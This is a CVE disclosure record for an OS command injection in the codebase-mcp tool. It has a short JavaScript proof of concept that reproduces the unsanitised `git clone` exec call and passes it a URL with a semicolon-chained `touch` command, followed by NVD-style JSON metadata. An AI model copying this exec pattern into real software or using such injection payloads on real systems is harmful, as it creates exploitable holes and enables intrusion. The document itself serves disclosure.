CVE-2026-5023

// PoC for CVE-2026-5023: OS Command Injection in codebase-mcp // This demonstrates a payload that could be passed to the vulnerable function. const { exec } = require('child_process'); // Simulating the vulnerable function behavior in src/tools/codebase.ts function vulnerableGetRemoteCodebase(userInputUrl) { // Vulnerability: Directly interpolating user input into a shell command const command = `git clone ${userInputUrl}`; console.log(`Executing: ${command}`); exec(command, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } console.log(`Stdout: ${stdout}`); }); } // Exploit Payload // Using a semicolon to chain a command that creates a file as proof of execution const maliciousInput = "https://github.com/valid/repo.git; touch /tmp/pwn_cve_2026_5023"; vulnerableGetRemoteCodebase(maliciousInput);

{"cve": {"id": "CVE-2026-5023", "sourceIdentifier": "[email protected]", "published": "2026-03-29T02:16:17.640", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in DeDeveloper23 codebase-mcp up to 3ec749d237dd8eabbeef48657cf917275792fde6. This vulnerability affects the function getCodebase/getRemoteCodebase/saveCodebase of the file src/tools/codebase.ts of the component RepoMix Command Handler. Such manipulation leads to os command injection. The attack needs to be performed locally. The exploit has been disclosed to the public and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet."}, {"lang": "es", "value": "Se ha encontrado una vulnerabilidad en DeDeveloper23 codebase-mcp hasta 3ec749d237dd8eabbeef48657cf917275792fde6. Esta vulnerabilidad afecta a la función getCodebase/getRemoteCodebase/saveCodebase del archivo src/tools/codebase.ts del componente Gestor de Comandos RepoMix. Dicha manipulación conduce a una inyección de comandos del sistema operativo. El ataque debe realizarse localmente. El exploit ha sido divulgado al público y puede ser utilizado. Este producto implementa un lanzamiento continuo para la entrega constante, lo que significa que la información de la versión para las versiones afectadas o actualizadas no está disponible. El proyecto fue informado del problema con antelación a través de un informe de incidencias, pero aún no ha respondido."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/DeDeveloper23/codebase-mcp/", "source": "[email protected]"}, {"url": "https://github.com/DeDeveloper23/codebase-mcp/issues/7", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/778348", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/353907", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/353907/cti", "source": "[email protected]"}]}}